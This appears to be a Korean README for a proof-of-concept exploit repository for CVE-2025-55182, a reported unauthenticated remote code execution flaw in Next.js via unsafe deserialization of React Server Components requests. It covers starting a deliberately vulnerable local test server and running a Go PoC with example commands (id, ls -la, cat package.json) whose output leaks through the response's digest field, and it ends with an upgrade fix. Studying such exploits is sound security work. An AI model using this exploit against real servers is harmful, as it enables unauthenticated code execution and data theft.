
RSC 요청의 안전하지 않은 역직렬화를 통한 Next.js RCE 취약점인 CVE-2025-55182용 개념 증명 익스플로잇입니다. Go 기반 POC 스크립트와 보안 연구 및 교육을 위한 취약한 테스트 서버를 포함합니다.
⚠️ 이 도구는 보안 연구 및 교육 목적으로만 사용하십시오. 불법적인 용도로 사용하지 마십시오. ⚠️
CVE-2025-55182는 Next.js 프레임워크에서 발견된 심각한 원격 코드 실행(RCE) 취약점입니다. 이 취약점은 Next.js가 React Server Components(RSC) 요청을 처리할 때 안전하지 않은 역직렬화 문제로 인해 발생합니다. 공격자는 악의적인 HTTP 요청을 구성하여 인증 없이 서버에서 임의의 코드를 실행할 수 있습니다.
영향받는 버전:
이 프로젝트는 취약한 Next.js 테스트 서버 test-server를 제공합니다.
Node.js와 npm이 설치되어 있는지 확인하세요.
cd test-server
npm install
npm run dev
서버는 기본적으로 http://localhost:3000에서 실행됩니다.
참고: lock 파일 오류가 발생하면 다음을 실행해 보세요:
rm -f .next/dev/lock && npm run dev
이 프로젝트는 Go 언어로 작성된 POC 스크립트 poc.go를 제공합니다.
사용법:
go run poc.go [대상 URL] [실행할 명령]
예시:
id 명령 실행(기본값)
go run poc.go
또는
go run poc.go http://localhost:3000 id
현재 디렉터리 파일 확인
go run poc.go http://localhost:3000 "ls -la"
파일 내용 확인
go run poc.go http://localhost:3000 "cat package.json"
예상 출력:
HTTP 상태 코드는 500을 반환하지만, 명령 실행 결과는 응답의 digest 필드에 포함됩니다.
1:E{"digest":"uid=502(hoosin) gid=20(staff) ...","name":"Error","message":"NEXT_REDIRECT",...}
Next.js를 안전한 버전으로 업그레이드하세요:
npm install next@latest react@latest react-dom@latest